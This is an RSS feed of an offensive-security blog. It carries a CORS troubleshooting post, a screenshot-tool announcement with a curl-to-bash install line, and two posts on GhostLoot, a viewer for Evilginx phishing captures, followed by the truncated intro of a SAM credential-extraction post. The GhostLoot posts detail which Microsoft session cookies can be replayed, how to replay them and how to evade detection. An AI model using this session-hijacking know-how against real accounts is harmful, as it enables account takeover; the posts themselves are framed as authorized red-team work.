<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Red Ghost Ops - Advanced Red Teaming & Evasion Research]]></title><description><![CDATA[Offensive security research by Asier Barranco (Marco Carola), founder of REDOPS Security Ltd. Red team operations, evasion and custom tooling. Services at redghostops.com.]]></description><link>https://blog.redghostops.com</link><image><url>https://cdn.hashnode.com/uploads/logos/690c64913ff755ea4fc5493f/82309656-6fd6-46d4-a4b3-c9b1618d93a2.png</url><title>Red Ghost Ops - Advanced Red Teaming &amp; Evasion Research</title><link>https://blog.redghostops.com</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 08 Nov 2026 02:45:45 GMT</lastBuildDate><atom:link href="https://blog.redghostops.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Okta Identity Engine CORS Errors: Understanding “Failed to fetch”]]></title><description><![CDATA[How to distinguish a failed preflight from a blocked response and explain what the browser evidence actually proves.]]></description><link>https://blog.redghostops.com/okta-identity-engine-cors-errors-understanding-failed-to-fetch</link><guid isPermaLink="true">https://blog.redghostops.com/okta-identity-engine-cors-errors-understanding-failed-to-fetch</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Wed, 21 Oct 2026 09:50:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/d8cc3c2a-8956-4209-990f-abef0e3e01c8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>During an authorized authentication-flow assessment, a sign-in page loaded, but submitting the form produced <code>Failed to fetch</code>. DevTools also reported a CORS error associated with a request to Okta’s <code>/idp/idx/identify</code> endpoint.</p>
<p>The available details included <code>Content-Type: application/json</code>, an Okta client header, and a <code>no-referrer</code> policy. They help explain the browser’s behavior, but they do not establish the exact cause.</p>
<blockquote>
<p><strong>A CORS error does not, by itself, prove that the main request never reached the server.</strong> The distinction between a failed preflight and a blocked response changes what we can conclude.</p>
</blockquote>
<p>The domains below are fictional. No tenant identifiers or authentication payloads are included.</p>
<h2>Start with the initiating origin</h2>
<p>Consider a page at <code>https://portal.example</code> making an authentication request to <code>https://identity.example</code>.</p>
<p>These are different origins. An origin consists of the scheme, hostname, and effective port; the URL path is not part of that comparison. Two services can belong to the same organization while remaining separate origins in the browser.</p>
<p>The relevant origin belongs to the document that initiates the request. If an iframe is involved, the main address bar may not tell the whole story.</p>
<p>CORS determines whether a browser can expose a cross-origin response to the requesting JavaScript. See <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS">MDN’s CORS overview</a>.</p>
<h2>“Failed to fetch” is a symptom</h2>
<p><code>Failed to fetch</code> tells the application that the operation failed. It does not identify the underlying cause.</p>
<p>The full console message is more useful than a generic Network label. It may identify an origin mismatch, a request header that was not permitted, or a failed preflight. JavaScript does not receive all the details that the browser can show in its console. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS/Errors">MDN’s CORS error reference</a> explains that distinction.</p>
<p>Network and TLS failures can also prevent a CORS exchange from completing. In those cases, the error does not establish an explicit policy rejection by the server. MDN documents this separately under <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS/Errors/CORSDidNotSucceed">“CORS request did not succeed”</a>.</p>
<h2>Preflight failure and response blocking are different</h2>
<p>Some cross-origin requests require a preliminary permission check called a <strong>preflight</strong>. The browser sends an <code>OPTIONS</code> request describing the intended method and relevant headers.</p>
<p>A cross-origin Fetch or XMLHttpRequest operation using <code>Content-Type: application/json</code> normally requires this check. A custom request header can independently trigger the same requirement. These conditions are described in <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS/Errors">MDN’s CORS error guide</a>.</p>
<p>An illustrative excerpt from the intended main request looks like this:</p>
<pre><code class="language-http">Origin: https://portal.example
Content-Type: application/json
X-Example-Client: documentation
</code></pre>
<p>These lines describe request metadata. They are not a complete request or an authentication payload.</p>
<table>
<thead>
<tr>
<th>Failure stage</th>
<th>Browser behavior</th>
<th>What the error establishes</th>
</tr>
</thead>
<tbody><tr>
<td>Preflight fails</td>
<td>The corresponding main request is not sent.</td>
<td>That main request did not proceed through this attempt.</td>
</tr>
<tr>
<td>CORS validation of the main response fails</td>
<td>The main request may have reached the server, but JavaScript cannot read its response.</td>
<td>The browser error does not prove that the server performed no action.</td>
</tr>
</tbody></table>
<p>This distinction follows the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS">CORS request and response model</a>. A Network entry alone is not proof that the main request was transmitted.</p>
<p>Successful preflight permissions can also be cached. An attempt may therefore show no new <code>OPTIONS</code> request even when preflight requirements apply. See <a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request">MDN’s preflight reference</a>.</p>
<h2>“no-referrer” does not explain the failure by itself</h2>
<p>A policy of <code>no-referrer</code> tells the browser to omit information normally carried by the <code>Referer</code> header.</p>
<p>For the CORS request discussed here, that does not automatically suppress the separate <code>Origin</code> header. The two headers serve different purposes: <code>Referer</code> conveys referrer information, while <code>Origin</code> identifies the origin relevant to browser security checks.</p>
<p>Finding <code>no-referrer</code> in DevTools is therefore insufficient to attribute a CORS failure to that policy. Likewise, a header missing from a copied excerpt is not evidence that it was missing from the actual request.</p>
<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy">MDN Referrer-Policy reference</a> describes these behaviors.</p>
<h2>What Okta documentation adds</h2>
<p>Okta documents Trusted Origins for certain legitimate cross-origin requests to its APIs. It also distinguishes CORS permissions from redirect permissions.</p>
<p>That provides context, but it does not make every CORS error proof of a missing Trusted Origin entry. CORS support is API-specific, and the applicable requirements depend on the endpoint and authentication mechanism. The observed exchange still matters.</p>
<p>See <a href="https://developer.okta.com/docs/guides/enable-cors/-/main/">Okta’s official CORS guide</a> for the supported integration model.</p>
<p>A widget or SDK version string is useful context for a report. On its own, it does not demonstrate that the component caused the failure.</p>
<h2>Preserve the evidence, remove the secrets</h2>
<p>A useful technical note should include:</p>
<ul>
<li>The complete console error.</li>
<li>The initiating origin and destination origin.</li>
<li>The preflight method and observed status, when present.</li>
<li>The main request’s method and observed status.</li>
<li>The response headers relevant to CORS.</li>
</ul>
<p>Separate observations from interpretations. “The console reports a failed preflight” describes evidence. “The server explicitly rejected this origin” may require additional support.</p>
<p>Share the smallest relevant extract. HAR files, authentication URLs, and request bodies can contain cookies, tokens, credentials, session identifiers, or personal information.</p>
<p>When replacing domains with placeholders, preserve their relationships. Requests that originally shared an origin should retain the same replacement origin. Otherwise, anonymization can change the technical meaning of the evidence.</p>
<h2>The conclusion supported by this case</h2>
<p>The reported details support a limited diagnosis:</p>
<blockquote>
<p>If the request is initiated by the test page, the page and authentication endpoint have different origins, and the browser reports a CORS failure. The available excerpt does not establish whether it occurred during preflight or while validating the main response.</p>
</blockquote>
<p>Identifying that stage is the next evidentiary gap. Until it is resolved, the error cannot establish that the server received nothing, processed nothing, or requires a particular configuration change.</p>
]]></content:encoded></item><item><title><![CDATA[I got tired of blurring passwords in Preview, so I built a screenshot tool for pentesters]]></title><description><![CDATA[Every engagement ends the same way for me. I have somewhere between fifty and two hundred screenshots scattered across the Desktop, Downloads and a folder…]]></description><link>https://blog.redghostops.com/i-got-tired-of-blurring-passwords-in-preview-so-i-built-a-screenshot-tool-for-pentesters</link><guid isPermaLink="true">https://blog.redghostops.com/i-got-tired-of-blurring-passwords-in-preview-so-i-built-a-screenshot-tool-for-pentesters</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Sun, 13 Sep 2026 20:39:26 GMT</pubDate><content:encoded><![CDATA[<p>Every engagement ends the same way for me. I have somewhere between fifty and two hundred screenshots scattered across the Desktop, Downloads and a folder called <code>evidence</code> that I swear I'll organize next time. Half of them have a credential, an internal hostname or a client's employee name sitting in plain sight. Before any of them can go into the report I open each one in Preview, draw a rectangle over the secret, realize a rectangle is not the same as removing the pixels, redo it with the blur tool, crop, save, and try to remember what finding it belonged to.</p>
<p>I did that for six years. A couple of weeks ago I stopped and wrote the tool I actually wanted.</p>
<h2>What Redshot does</h2>
<p>It lives in the menu bar. You press <code>⌃⌘S</code>, drag over an area, and the screenshot goes straight into a history and onto the clipboard. Then an editor opens on top of it. Arrows, boxes, text, a highlighter, crop, and the thing I really wanted: <strong>pixelate</strong>.</p>
<p>Not blur. Pixelate. The region gets downsampled to a handful of blocks and the original pixels are gone from the saved file. Blur filters can sometimes be partially reversed; a mosaic of twelve blocks cannot, there is nothing left to recover.</p>
<p>When you hit Save, the original stays untouched in the history and the edited version is added as a new item. That matters when a screenshot is evidence: you never overwrite what you captured.</p>
<p>The clipboard part came for free once I had the history. Text, links, code, colors, files, all tagged with the app they came from. Press <code>⌃⌘V</code>, search, pick one, and it pastes into whatever you were using.</p>
<p>And every screenshot goes through Apple's Vision OCR, so three weeks later you can type a hostname you saw in a terminal and get the exact capture where it appeared.</p>
<h2>The part that makes it a security tool and not a screenshot app</h2>
<p>Redshot never saves anything a password manager marks as concealed. 1Password, Bitwarden and KeePassXC all flag their clipboard writes, and Redshot respects that. You can add any app to an ignore list. And before anything touches disk it runs a few cheap checks: if the text looks like an AWS key, a private key, a JWT, a GitHub or Slack token, or a card number that passes Luhn, it's dropped.</p>
<p>There is no network code in the binary. No account, no sync, no telemetry. Everything is a SQLite file and some PNGs under <code>~/Library/Application Support/Redshot</code>. Delete the folder and it forgets you existed. The source is on GitHub if you'd rather check than trust.</p>
<h2>Install it</h2>
<p>The one-liner installs to Applications and skips the Gatekeeper prompt:</p>
<p>bash</p>
<pre><code class="language-bash">curl -fsSL https://raw.githubusercontent.com/marcocarolasec/Redshot/main/Scripts/install.sh | bash
</code></pre>
<p>Or download the DMG from <a href="https://marcocarolasec.github.io/Redshot/"><strong>marcocarolasec.github.io/Redshot</strong></a>. I don't pay Apple for notarization, so the first time you open it macOS will say it can't verify the app. Go to System Settings → Privacy &amp; Security → Open Anyway. Once.</p>
<p>On first launch a short guide walks you through the two permissions macOS requires: Screen Recording, which every screenshot tool needs, and Accessibility, which is optional and only used to paste directly into the frontmost app.</p>
<p>Needs macOS 14 or later. Apple Silicon and Intel. MIT licensed.</p>
<h2>Shortcuts, since you'll ask</h2>
<pre><code class="language-plaintext">⌃⌘S   capture an area (Space switches to window mode, Esc cancels)
⌃⌘W   capture a window
⌃⌘F   capture the full screen
⌃⌘V   open the history
⌃⌘1…9 paste the nth most recent item
</code></pre>
<p>In the editor, hold Shift to constrain shapes, Delete removes the selected annotation, <code>⌘Z</code> undoes, <code>⌘S</code> saves.</p>
<h2>A few decisions, in case you want to argue</h2>
<p>I use <code>/usr/sbin/screencapture</code> instead of ScreenCaptureKit. It gives you the system's own crosshair and window picker, needs the same permission, and has worked the same way for fifteen years. The clipboard is polled every half second because macOS has no change notification for the pasteboard; that's what every clipboard manager does, and it costs nothing. The history is a non-activating panel so the app you were in keeps focus and the simulated <code>⌘V</code> lands where you expect. The whole thing is a plain Swift package with zero dependencies, SQLite through the C API included.</p>
<h2>What's next</h2>
<p>This is version 0.1 and it does what I needed for my own reports. What I want next, roughly in order: tag captures by engagement and finding, export a set of them with a SHA-256 manifest so you can hand a client a verifiable chain of custody, let the OCR flag credentials and IPs and offer to pixelate them in one click, and export straight to Markdown or docx with consistent file names.</p>
<p>If any of that is useful to you, or if you hit something broken, the repo is at <a href="https://github.com/marcocarolasec/Redshot"><strong>github.com/marcocarolasec/Redshot</strong></a>. Issues and pull requests welcome. A star helps other people find it.</p>
<p>Download it, take one screenshot of your terminal with a password in it, pixelate it, and tell me if it saved you thirty seconds. That's the whole pitch.</p>
]]></content:encoded></item><item><title><![CDATA[GhostLoot part 2: the Microsoft cookie mess, the inbox, and the Google wall]]></title><description><![CDATA[Part 1 got the loot out of Evilginx's session list. Part 2 is what I learned the hard way after that: which Microsoft cookie is actually money, which "TTL"…]]></description><link>https://blog.redghostops.com/ghostloot-part-2-the-microsoft-cookie-mess-the-inbox-and-the-google-wall</link><guid isPermaLink="true">https://blog.redghostops.com/ghostloot-part-2-the-microsoft-cookie-mess-the-inbox-and-the-google-wall</guid><category><![CDATA[evilginx]]></category><category><![CDATA[red team]]></category><category><![CDATA[Aitm]]></category><category><![CDATA[Microsoft]]></category><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Tue, 08 Sep 2026 15:25:32 GMT</pubDate><content:encoded><![CDATA[<p>Part 1 got the loot out of Evilginx's session list. Part 2 is what I learned the hard way after that: which Microsoft cookie is actually money, which "TTL" is a fiction, how the panel had to stop being a spreadsheet, and why a stock Google phishlet will waste your week.</p>
<p>Evilginx 3.3.0 Community. GhostLoot 1.6.1. Still authorized work only. Still a read-only viewer.</p>
<h2>The Tuesday that looked like a broken tool</h2>
<p>Smoke-test. Personal Microsoft account into an o365-shaped phishlet. Capture comes back. I open the cookies. <code>MSPAuth: Disabled</code>. Or worse, a stub that looks like a session until you stare at it.</p>
<p>First thought: GhostLoot is wrong. It wasn't. Microsoft never issued a reusable session on the path I was on.</p>
<p>"Microsoft login" is two IdPs sharing a brand.</p>
<h2>Entra is not MSA</h2>
<p><strong>Entra ID</strong> is work and school. Host: <code>login.microsoftonline.com</code>. The cookies that matter are <code>ESTSAUTH</code> (non-persistent: about 24 hours or until the browser closes) and <code>ESTSAUTHPERSISTENT</code> (persistent SSO: up to 90 days of inactivity, rolling, until revoked). Replay means import on <code>https://login.microsoftonline.com</code>, then open <code>https://www.office.com</code>. Outlook on the web is Entra territory. A personal <code>MSAAUTHP</code> will not SSO you into it.</p>
<p><strong>MSA</strong> is personal Microsoft accounts — including a Gmail you registered as a Microsoft account, including passwordless Authenticator-only. Host: <code>login.live.com</code>. For passwordless, the cookie that matters is <code>__Host-MSAAUTHP</code>. It persists across browser close. Microsoft does not publish a Max-Age. Anyone quoting "one year" is guessing. <code>__Host-MSAAUTH=11</code> is a deleted stub, not loot. Password MSA can show <code>__Host-MSAAUTH</code> with a real long value; that one is not persistent.</p>
<p>Replay for MSA: import on <code>https://login.live.com</code>, then <code>https://account.microsoft.com</code>. Avoid <code>https://outlook.live.com</code> — you do not get SSO from <code>MSAAUTHP</code> there.</p>
<p>Throw a personal account at an Entra-wired phishlet and Microsoft quietly routes you into the consumer stack. Different hosts. Different cookies. The proxy collects flow junk. The session never closes cleanly. You get <code>Disabled</code>. That is a coverage problem, not "AiTM fails on personal accounts."</p>
<p>I ended up with one <code>microsoft.yaml</code> covering both stacks, redirect-on-capture after loot. Separate o365-only files for personal accounts were the wrong shape.</p>
<h2>The stock Evilginx completion lie</h2>
<p>Community Evilginx has a footgun: <code>AllCookieAuthTokensCaptured</code> wants <strong>all</strong> listed tokens.</p>
<p>A live MSA capture will never carry <code>ESTSAUTH</code>. A live Entra capture will never carry <code>MSAAUTHP</code>. So the session never "completes," even when you are holding the one cookie that actually replays.</p>
<p>The patch that made ops sane: treat the session as captured when <strong>any</strong> required non-junk token is present.</p>
<p>Junk that must never count as loot: empty, <code>Disabled</code>, <code>estsfd</code>, <code>11</code>, length ≤ 2.</p>
<h2>The name-fold bug that refused to match</h2>
<p>Go lowercases cookie names. <code>strings.ToLower("__Host-MSAAUTHP")</code> becomes <code>__host-msaauthp</code> — two a's in <code>msaa</code>.</p>
<p>I wrote a switch case as <code>__host-msauthp</code> — one a. It never matched. The panel kept calling good MSA loot invalid while I stared at a cookie that was sitting right there.</p>
<p>Tests that earned their keep: PasswordlessMSA, PasswordMSA, TestMSCookieNameFold. If you fold names, count the a's.</p>
<h2>The TTL lie</h2>
<p>Evilginx's <code>CookieToken</code> does not store <code>Set-Cookie</code> Expires. So any countdown you invent in a UI is fan fiction.</p>
<p>GhostLoot's panel only shows kinds it can defend: <code>parsed</code> (JWT <code>exp</code> when the cookie actually is a JWT), <code>idle90d</code>, <code>idle24h</code>, <code>session</code>, <code>persistent</code>, <code>unknown</code>. No <code>now+1y</code>. No fake 89-day ticker.</p>
<p>TTL lives in the inspector as context. The scan signal is freshness: captures under fifteen minutes get a copper highlight; default sort is recency. When you are juggling Telegram alerts, "is this still warm" beats "is this theoretically ninety days."</p>
<h2>Turning the panel into an inbox</h2>
<p>After part 1 I kept bolting columns. Then I ripped them out. Then I put some back. The only job that mattered: Telegram ping → about twenty seconds → replay or bounce → notes. Manual. No auto-replay. GhostLoot still never writes phishlets and never talks to live Evilginx — copy <code>~/.evilginx/data.db</code> (buntdb), parse, delete the copy. Default listen <code>127.0.0.1:8090</code>. One Go binary, <code>index.html</code> embedded with <code>go:embed</code>. Version in production: 1.6.1.</p>
<p>The panel is an inbox now.</p>
<p>Tabs: Inbox, Captures, Lures, Settings. Dashboard collapsed into a period strip on Lures — not a place you live. Keyboard: <code>1–4</code>, <code>j</code>/<code>k</code>, <code>c</code> copy cookies, <code>b</code> brief, <code>h</code> Cookie header, <code>u</code> done, <code>e</code> bounced, <code>?</code>.</p>
<p>Inbox columns that survived: account + status tag, loot type (Entra ID / Microsoft account), password blurred, from (CC · city · UA), expires (honest label), when (relative + absolute). Geo is optional via ip-api.com with a local JSON cache; <code>-nogeo</code> turns it off. Still never send lure URLs to Safe Browsing, VirusTotal, or urlscan.</p>
<p>Statuses are three: <code>open</code>, <code>bounced</code>, <code>done</code>. I tried <code>copied</code> / <code>replayed</code>. They confused me mid-op, so they folded back into <code>open</code>. Bounce reasons persist: CA / IP mismatch / UA / token dead.</p>
<p>Replay inspector is a checklist, not a pretty card:</p>
<ol>
<li>VPN/exit — country · city · AS… and Copy UA  </li>
<li>Import on <code>login.microsoftonline.com</code> or <code>login.live.com</code>  </li>
<li>Then open <code>office.com</code> / <code>account.microsoft.com</code></li>
</ol>
<p>One primary <strong>Copy cookies</strong>. Accept-Language (suggested from country, not captured), Cookie header, long briefing — behind More.</p>
<p>Telegram on the wire is Spanish and thin: <code>#46 · hace 40s</code>, type, persist, user (unless minimal mode), country, UA, import/then/avoid. Never the cookie. Never the password. Minimal mode drops account and IP when that alert leaves your perimeter.</p>
<h2>One command from the laptop</h2>
<p><code>ghostloot</code> on the laptop: if <code>localhost:8090</code> is down, it builds <code>ssh -L 8090:127.0.0.1:8090</code> with ControlMaster. It does not <code>pkill</code> ssh. <code>ghostloot down</code> stops the panel systemd unit and closes that tunnel. <code>ghostloot console</code> attaches the Evilginx tmux — and yes, root and ubuntu use different sockets (<code>/tmp/tmux-0</code> vs <code>/tmp/tmux-1000</code>); the CLI finds the session owner instead of guessing.</p>
<p>Server side: systemd unit <code>ghostloot</code> on <code>127.0.0.1:8090</code>, config <code>/etc/ghostloot.conf</code>. Laptop config under <code>~/.ghostloot/</code>. <code>sudo ./install.sh</code> hunts <code>data.db</code>, the Evilginx binary, and a free loopback port in <code>8090–8094</code>.</p>
<p>Bugs that only show up when you actually run it:</p>
<ul>
<li>Template called <code>.size</code> on an Array (<code>ips.size</code> → undefined IPs).  </li>
<li>API said <code>update</code> / <code>landing</code>; UI expected <code>update_time</code> / <code>landing_url</code>.  </li>
<li><code>go.mod</code> wanted 1.24; VPS had 1.22 — lowered the module.  </li>
<li>Copying the binary onto itself while it was running → <code>ETXTBSY</code>. Kill whatever is on 8090 first. Do not <code>pkill</code> the SSH tunnel that is keeping you in.</li>
</ul>
<h2>The Google wall</h2>
<p>I will say this once, without a tutorial.</p>
<p>Public <code>google.yaml</code> files (the usual Community collections, <code>min_ver: 2.3.0</code> and friends) will load. Login becomes WebLiteSignIn / <code>/v3/signin/identifier</code>. Next is a JS button (<code>identifierNext</code>). <code>bgresponse</code> defaults toward <code>js_disabled</code>. Botguard / reCAPTCHA Enterprise sits on the path. Force a POST with the email and you still land on <code>/v3/signin/rejected?...&amp;rhlk=js</code>.</p>
<p>Hostname rewrite, extra <code>proxy_hosts</code>, Cloudflare Origin in front of the lure — none of that mints Botguard. Community cannot do Google properly. Pro uses Evilpuppet. YAML will not save you. I am not publishing a bypass.</p>
<p>Cloudflare in front of a lure hides origin in DNS. New hostnames need origin certs. Let's Encrypt HTTP-01 against orange-cloud returns 403. Missing origin cert and the visitor gets 525. That is ops, not a Google breakthrough.</p>
<h2>What actually stops AiTM</h2>
<p>Password plus SMS, OTP, push, or emailed code does not. You capture after the second factor is done.</p>
<p>Phishing-resistant MFA does: FIDO2, passkeys, Windows Hello for Business, bound to the real origin. The browser will not hand that credential to your look-alike domain. Nothing to steal. If a tenant enforces that, the run dies at the door — write it up as a strength.</p>
<p>If the tenant has no 2FA at all, that is the tenant. It is not your phishlet "skipping" MFA.</p>
<h2>OPSEC, still boring on purpose</h2>
<p>Bind loopback, tunnel in. Off-localhost without <code>-user</code>/<code>-pass</code> refuses to start. CSRF origin check on POSTs. State files <code>0600</code>. Do not park a second web app (GoPhish and friends) on <code>0.0.0.0:8080</code> on the same box. Mail from a warmed mailbox, not the proxy IP. Replay from a VPN in the victim's country with a cloned UA — not from the VPS. Optional geo is fine; shipping lure URLs to Google Safe Browsing is how infra dies.</p>
<h2>Grab it</h2>
<p>GhostLoot is MIT: <a href="https://github.com/marcocarolasec/ghostloot">github.com/marcocarolasec/ghostloot</a></p>
<p>Read-only viewer for a <code>data.db</code> you already have, on an engagement you are cleared to run. No Evilginx in the repo. No phishlets. No auto-replay.</p>
<p>If you have run Community Evilginx against Microsoft in 2026: did the Entra vs MSA split burn you too, or has a CE Google Next flow ever actually completed for you?</p>
]]></content:encoded></item><item><title><![CDATA[I got tired of Evilginx's session list, so I built GhostLoot]]></title><description><![CDATA[Run an AiTM campaign with Evilginx for a day and you know the drill. You SSH into the box, type sessions, and a wall of rows scrolls by. Bots. Scanners…]]></description><link>https://blog.redghostops.com/i-got-tired-of-evilginx-s-session-list-so-i-built-ghostloot</link><guid isPermaLink="true">https://blog.redghostops.com/i-got-tired-of-evilginx-s-session-list-so-i-built-ghostloot</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Sun, 06 Sep 2026 19:26:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/c8ee5715-814b-4ea0-94de-f0e68ae85f60.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Run an AiTM campaign with Evilginx for a day and you know the drill. You SSH into the box, type <code>sessions</code>, and a wall of rows scrolls by. Bots. Scanners. The same target who clicked five times. Landings that never went anywhere. Buried in there are the two or three sessions that actually matter, the ones with a live token you can replay, and you find them by squinting at a table over a laggy SSH pipe while new rows shove the good ones off the screen.</p>
<p>That was my Tuesday on a recent job. Wednesday I had GhostLoot.</p>
<p>Quick disclaimer before anyone gets ideas: this is for authorized red team work. GhostLoot doesn't phish anyone. It's a read-only viewer for loot Evilginx already captured on an engagement you're allowed to run. Repo's at the bottom.</p>
<h2>The bit that was missing</h2>
<p>Evilginx is a proxy. It's very good at driving the attack and it was never meant to be a case-management tool, so I'm not complaining about it. But on a real op you spend way more time reading loot than launching it, and that side is rough.</p>
<p>The <code>sessions</code> list has no idea who's a real victim and who's a bot that touched the lure once. It doesn't collapse duplicates, so one person who logged in three times shows up as three targets. And the thing you care about most, whether a captured session is actually reusable, is hidden inside the cookie dump. So you end up copying JSON out of a tmux pane that keeps wrapping and slicing it in half. I did that one too many times.</p>
<h2>Rule one: don't touch the live database</h2>
<p>First decision, and the one I'd defend hardest: GhostLoot never talks to Evilginx and never opens its live file. It works on a copy.</p>
<p>Everything Evilginx captures lives in one file, <code>~/.evilginx/data.db</code>. Fun fact that trips people up: it's a <a href="https://github.com/tidwall/buntdb">buntdb</a> store, not the BoltDB most folks assume. Sessions are plain JSON documents keyed like <code>sessions:14</code>. buntdb rewrites the file when you open it, so the last thing you want is a second process poking the real one mid-campaign. GhostLoot copies the file to a temp path, opens the copy, reads it, deletes the copy.</p>
<p>Parsing is refreshingly dumb:</p>
<pre><code class="language-go">db.View(func(tx *buntdb.Tx) error {
    return tx.Ascend("", func(key, value string) bool {
        var s Session
        if err := json.Unmarshal([]byte(value), &amp;s); err == nil {
            byID[s.Id] = s
        }
        return true
    })
})
</code></pre>
<p>Walk every key, try to decode it as a session, keep what parses. Counters and other junk keys just fail the unmarshal and drop out. No offsets, no schema archaeology.</p>
<p>Copying and reparsing on every request would be dumb in the bad way, so it's cached against the file's mtime. Evilginx only writes when something happens, a new visitor or a captured token. No change, no reparse. The panel polls every few seconds and costs basically nothing while the campaign is quiet. Warm request on my box was around 9ms against 35ms for a cold reparse, and that gap widens with every session you capture.</p>
<h2>Cutting the signal out of the noise</h2>
<p>Two things do the heavy lifting.</p>
<p>Dedup by victim. GhostLoot groups sessions by username, across phishlets, one row per human. Their phishlets, their attempt count, and the best capture of the bunch. Twenty raw rows become the four people who were actually in them. It keeps the duplicate count in an "attempts" column so you don't lose that signal, you just stop drowning in it.</p>
<p>Then, is the session worth anything. A row only matters if it carries a real, replayable token. Entra / Azure AD accounts mean <code>ESTSAUTH</code> and <code>ESTSAUTHPERSISTENT</code>. Personal Microsoft accounts mean <code>MSPAuth</code> or <code>RPSSecAuth</code>. Evilginx will cheerfully log routing and context cookies that look like loot and are worthless, so GhostLoot throws out the junk values (<code>Disabled</code>, <code>estsfd</code>, and friends) and only lights up a session as valid when a strong token shows up with a real value. That one green pill is the only thing I scan for now.</p>
<h2>The trap that cost me an afternoon</h2>
<p>This is the part worth reading even if you never run the tool.</p>
<p>I kept feeding my own personal Microsoft account into an o365 phishlet to smoke-test the pipeline, and every capture came back <code>MSPAuth: Disabled</code>, no usable session. First reaction, obviously, was "my tool is broken." It wasn't. It was telling me the truth. Microsoft never issued a session.</p>
<p>Microsoft runs two identity stacks and it's easy to smear them together:</p>
<p>Entra / Azure AD is the work-and-school side. Sign-in goes through <code>login.microsoftonline.com</code>, the login closes at <code>/login.srf</code>, and the reusable session is <code>ESTSAUTH</code> / <code>ESTSAUTHPERSISTENT</code>.</p>
<p>MSA is the consumer side, personal accounts, including a Gmail address you registered as a Microsoft account. Sign-in goes through <code>login.live.com</code>, the endpoint is <code>/ppsecure/post.srf</code>, and the session lives in <code>RPSSecAuth</code> / <code>MSPAuth</code> / <code>__Host-MSAAUTH</code>.</p>
<p>An o365 phishlet has its hosts, sub_filters and auth_tokens wired for the org stack. Throw a personal account at it and Microsoft quietly reroutes you into the consumer stack, different hosts, different cookies. The phishlet grabs the flow artifacts but not the cookie that actually authenticates, the login never closes cleanly through the proxy, and you get <code>Disabled</code>. Coverage problem, not a limit of the technique.</p>
<p>The takeaway that belongs in a report: personal versus corporate isn't what stops AiTM. Password plus "normal" MFA doesn't stop it either, SMS, OTP, push, an emailed code, you capture the cookie after the second factor is already done. The thing that actually kills it is phishing-resistant MFA. FIDO2, passkeys, Windows Hello for Business. Those are bound to the real origin, so the browser flat out refuses to hand the credential to your look-alike domain and there's nothing to capture. If a tenant enforces that across the board, your run dies at the door, and that's a strength you write up, not a gap.</p>
<h2>Everything else I bolted on</h2>
<p>Once the loot side felt right I kept adding the stuff I actually reach for mid-op.</p>
<p>Bulk export of every valid victim's cookies as a zip, one JSON per person, drop-in for Cookie-Editor or StorageAce. A masked CSV for the report with no secrets in it. A domain monitor that pings your phishing hosts and pings you back when one dies, which usually means a takedown or a killed domain. It checks your host, not wherever it 302s to, so a redirect to the real login doesn't get read as "up." Telegram alerts when a valid victim lands or a domain drops, with a minimal mode that leaves the username and IP out of the message, which you want if that alert is leaving your perimeter. A per-lure view so you can see which pretext is converting, and a small capture timeline.</p>
<p>All of it configured from the panel, all of it one self-contained Go binary with the frontend embedded. Deploying is a single <code>scp</code>.</p>
<h2>OPSEC I didn't hand-wave</h2>
<p>A loot dashboard is a pile of stolen session cookies with a web UI stapled on. Treat it like one.</p>
<p>It binds to <code>127.0.0.1</code> and expects an SSH tunnel. Try to expose it on a public interface without auth and it refuses to boot instead of serving creds to the internet. The write endpoints check request origin so a random tab in your browser can't reprogram your Telegram token behind your back. And the one feature that can actually burn your infra, Safe Browsing lookups, is off by default and yells at you when you flip it on, because that API ships your live phishing URLs straight to Google tied to your key. Same reason you never feed your own URLs to urlscan or VirusTotal. That's how infra ends up cooked.</p>
<h2>Grab it</h2>
<p>GhostLoot is MIT: <a href="https://github.com/marcocarolasec/ghostloot">github.com/marcocarolasec/ghostloot</a></p>
<p>It reads a data.db you already have, from an engagement you're already cleared to run. No Evilginx bundled, no phishlets, and it won't help you hit anyone you don't have permission to hit.</p>
<p>If you run Evilginx and that session list has ever made you sigh, take it for a spin and open an issue. I wrote it for my own ops, so the roadmap is whatever annoys me next.</p>
]]></content:encoded></item><item><title><![CDATA[SAM-EXFIL: Credential Extraction via Raw NTFS Volume Reads]]></title><description><![CDATA[As red teamers regularly operating against mature Windows environments, we frequently encounter endpoint detection and response solutions that monitor…]]></description><link>https://blog.redghostops.com/sam-exfil-credential-extraction-via-raw-ntfs-volume-reads</link><guid isPermaLink="true">https://blog.redghostops.com/sam-exfil-credential-extraction-via-raw-ntfs-volume-reads</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Fri, 08 May 2026 17:11:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/d666f0f7-2671-4472-9960-617942345fbb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As red teamers regularly operating against mature Windows environments, we frequently encounter endpoint detection and response solutions that monitor access to Windows credential hive files at the API level. The Windows registry hives — SAM, SYSTEM, and SECURITY — are perennial targets during post-exploitation, yet their extraction has become increasingly difficult as EDR vendors have invested heavily in detection coverage for the standard access paths.</p>
